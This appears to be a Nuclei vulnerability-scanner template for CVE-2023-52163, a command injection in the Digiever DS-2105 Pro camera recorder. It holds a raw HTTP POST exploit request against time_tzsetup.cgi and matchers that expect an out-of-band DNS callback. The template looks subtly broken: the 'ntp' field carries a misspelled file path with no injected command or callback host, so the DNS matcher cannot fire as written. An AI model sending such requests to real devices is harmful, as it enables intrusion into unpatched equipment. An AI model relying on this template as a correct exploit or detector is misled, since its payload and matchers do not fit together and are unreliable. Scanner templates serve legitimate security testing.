id: CVE-2023-52163

info:
  name: "Digiever DS-2105 Pro - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Digiever DS-2105 Pro 3.1.0.71-11 devices allow time_tzsetup.cgi Command Injection. NOTE: This vulnerability
    only affects products that are no longer supported by the maintainer.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-52163&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=digiever&match=exact
  classification:
    cve-id: CVE-2023-52163
  metadata:
    verified: false
  tags: cve,cve2023,digiever,rce,oast,oob,kev,vkev,vuln
http:
  - raw:
      - |
        POST /cgi-bin/cgi_main.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cgiName=time_tzsetup.cgi&ntp=/etc/digigiver-release&action=4

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(interactsh_protocol,'dns')
          - contains(header, 'IE=EmulateIE10')
        condition: and